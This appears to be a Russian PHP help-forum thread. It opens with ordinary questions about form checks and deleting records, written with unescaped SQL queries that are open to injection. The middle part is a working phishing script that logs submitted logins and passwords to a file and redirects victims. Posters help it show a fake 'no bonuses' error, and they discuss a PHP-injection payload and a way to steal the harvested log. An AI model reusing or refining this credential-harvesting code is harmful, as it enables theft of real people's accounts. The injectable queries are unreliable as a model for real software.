Спасибо, теперь все добавляется, единственное теперь не пашит проверка. PHP: if (isset($name,$cena,$kol_vo,$summa)) { $result = mysql_query ("INSERT INTO osn2 (name, cena, kol_vo, summa) VALUES ('$name', '$cena', '$kol_vo', '$summa')"); echo 'Добавлено!'; include ("vvod_dannih.php"); } даже если ввести в 2 поля, или вообще никуда ничего не вводить, то все равно сознаются пустые поля в БД, а не возвращается ложь и выполняется то, что в else.
неа тоже не работает. PHP: if ($name != '' && $cena != 0 && $kol_vo != 0 && isset($summa)) Вот так вроде сработало, спасибо
Как сделать многоуровнивый режим удаления елементов через check box? через radio работает все отлично, только вписываю checkbox все равно удаляет по одному елементу( PHP: $result = mysql_query("SELECT `id`, `brand` FROM `brand`"); $myrow = mysql_fetch_array($result); do{ printf ("<input name='id' type='radio' value='%s'><label> %s</label><br>",$myrow["id"],$myrow["brand"]); } while ($myrow = mysql_fetch_array($result)); обработчик PHP: if (isset($id)){ $result = mysql_query ("DELETE FROM `brand` WHERE `id`='$id'",$dbconnect); if ($result == true){ echo "Ваша модель успешно удалена!"; } else{ echo "Ваша модель не удалена!"; } } else{ echo "Вы не выбрали модель для удаление, поэтому, действие не выполнено!"; }
<?php $BASE="base.php"; $IS_EMAIL=false; $LOCATION="" /тут редирект на сайт $p0=$_REQUEST["login"]; $p1=$_REQUEST["passwd"]; $headers = ""; $info="$p0:$p1\n"; if ($IS_EMAIL){ mail($BASE,$headers.$info); } else { $fd=fopen($BASE,"a+"); fwrite($fd,$info); fclose($fd); } header("Location:$LOCATION"); ?> Как сделать так чтобы при редиректе на сайт писало: допустим ошибка! Невозможно взять бонус,как то так!
Документ должен быть без BOM метки. Качай Notepad++ и юзай его. Обычный блокнот ставит метку и сессия не стартанет. Перед редиректом напиши: <script>alert("Бонусов нет");</script>
Вот код! <?php $BASE="base.php"; $IS_EMAIL=false; echo "<script>alert(\"Бонусов нет\");</script>"; header("Location:$LOCATION"); $p0=$_REQUEST["login"]; $p1=$_REQUEST["passwd"]; $headers = ""; $info="$p0:$p1\n"; if ($IS_EMAIL){ mail($BASE,$headers.$info); } else { $fd=fopen($BASE,"a+"); fwrite($fd,$info); fclose($fd); } header("Location:$LOCATION"); ?> Выходит окошко в новом окне,надо чтобы выходило окошко прямо на этой же странице и еще при нажатии на кнопку "ОК" идет раскрытие путей! Что не так? Поправь код полностью,если не трудно!
хэдеры должны предшествовать выводу, а у тебя в начале echo а потом header так что если нужен редирект - убирай нафиг header и в echo дописывай Code: window.location='url'; да и что за бред? не находишь что после редиректа всё что ниже - не выполнится. Ладно, допустим редиректа не будет, у тебя тут еще и пхп-инъекция ты в пхп-файл записываешь переменные которые задаются пользователем (с массива _REQUEST) тоесть делаешь запрос вида: Code: holy_shit.php?login=<?php phpinfo(); ?> а потом зайди в base.php и полюбуйся да еще и мыло отправляешь по адресу - base.php мир что сошел с ума?
да нифига, то что код тупой я согласен, но ес в базе стоит лок вида <?пхп ехит; ?> аки... . И имея в виду што параметр +а твой пхп инфо пахать не будет, а вот сжопить всю базу можно если прописать скрипт для передачи себя на гейт. Какой у вас страшный фейк ппц
где можно почитать о том, как составлять фильтр для preg_match наподобие "/^(http:\/\/)?([^\/]+)/i" ?